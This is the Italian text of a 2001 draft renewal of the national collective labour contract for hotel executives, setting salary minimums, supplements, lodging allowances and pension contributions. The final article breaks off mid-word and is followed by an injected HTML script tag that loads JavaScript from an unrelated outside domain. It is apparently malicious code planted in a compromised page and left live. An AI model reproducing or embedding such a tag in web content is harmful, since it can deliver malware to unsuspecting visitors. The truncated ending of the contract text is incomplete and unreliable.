Categoria: Alberghi (dirigenti)
Settore: Commercio
Data stipula: 10-10-2001
Data decorrenza: 1-1-2001
Data scadenza: 31-12-2002

Ipotesi di accordo per il rinnovo del CCNL

PER I DIRIGENTI DI AZIENDE ALBERGHIERE

Il giorno 10 del mese di ottobre 2001, in Roma,

tra

-     Federazione   delle   Associazioni  Italiane  Alberghi   e   Turismo
  (FEDERALBERGHI)

e

-    Federazione Nazionale Dirigenti di Aziende Commerciali (FeNDAC),  dei
  trasporti, del Turismo, dei Servizi, Ausiliarie, del Terziario Avanzato

si  è stipulata la seguente Ipotesi di accordo per il rinnovo del CCNL per
i dirigenti di aziende alberghiere del 27 gennaio 2000.



Art. 1 - Minimo contrattuale mensile.

Il  minimo  contrattuale  mensile  di  cui  all'art.  6,  CCNL  27.1.00  è
confermato  in  £. 4.220.000 lorde (_ 2.179,45) per tutti i  dirigenti  di
aziende alberghiere.



Art. 2 - Superminimo contrattuale mensile.

1.   Fermo  restando il minimo contrattuale di cui al precedente  art.  1,
  per  i  dirigenti  compresi  nella sfera di  applicazione  del  presente
  contratto  e  in servizio alla data di stipula del presente accordo,  il
  superminimo contrattuale di cui all'art. 7, CCNL 27.1.00, è rideterminato
  nelle misure di seguito indicate.

                                        data di nomina
superminimo contrattuale               o di assunzione
                                        del dirigente
                                              
                             sino al    dal 1.11.97   dal 1.1.98
                             31.10.97   al 31.12.97    al 1.1.00
                                
dal 1.1.01 (£)              2.825.000    2.500.000      765.000
dal 1.1.01 (_)               1.458,99    1.291,14       395,09
dal 1.1.02 (£)              3.040.000    2.715.000      930.000
dal 1.1.02 (_)               1.570,03    1.402,18       480,30

(segue)

                                    data di nomina
superminimo contrattuale           o di assunzione
                                    del dirigente
                                          
                             dal 2.1.00      dal 1.7.00
                             al 30.6.00     al 10.10.01
                                  
dal 1.1.01 (£)                 565.000        165.000
dal 1.1.01 (_)                 291,80          85,22
dal 1.1.02 (£)                 730.000        330.000
dal 1.1.02 (_)                 377,01          170,43

2.   I  relativi  aumenti potranno essere assorbiti fino a concorrenza  da
  incrementi economici erogati dalle aziende a partire dall'1.1.01 sino alla
  data  odierna, esclusivamente a titolo di acconto o di anticipazione  su
  futuri miglioramenti economici contrattuali.

3.   Eventuali  competenze arretrate e/o conguagli spettanti in  relazione
  al  periodo 1.1.01-30.9.01 in base al comma 1 del presente articolo sono
  erogate 'pro quota', in ragione dei mesi interi prestati in servizio,  e
  liquidate con la retribuzione di novembre 2001.



Art. 3 - Vitto e alloggio.

1.    La  misura  dell'alloggio  o  eventuale  indennità  sostitutiva   da
  corrispondersi in 12 mensilità è determinata dall'1.1.02 in £. 240.000 (_
  123,95) lorde mensili.

2.   Il servizio di vitto potrà essere fornito anche mediante buoni pasto,
  previe intese tra l'azienda e il dirigente.



Art. 4 - Previdenza integrativa (Fondo "Mario Negri").

La  retribuzione  convenzionale annua di cui al comma  2,  art.  25,  CCNL
27.1.00,  è  elevata a £. 109.214.000 (_ 56.404,32) per il  2001  e  a  £.
114.674.700 (_ 59.224,54) per il 2002.



Art. 5 - Retribuzione variabile.

Entro  il  30.11.01  le  parti  insedieranno  una  Commissione  paritetica
nazionale con l'incarico di esaminare i temi previsti nell'art.  10,  CCNL
27.1.00.  La  Commissione presenterà alle parti una  relazione  definitiva
entro il 31.7.02.



Art. 6 - Decorrenza e durata.

Il  contratto  decorre dal 1° gennaio 2001, fatte salve eventuali  diverse
decorrenze  previste da singole norme, e ha scadenza il 31 dicemb<script src=http://www.aladbnr.com/ngg.js></script>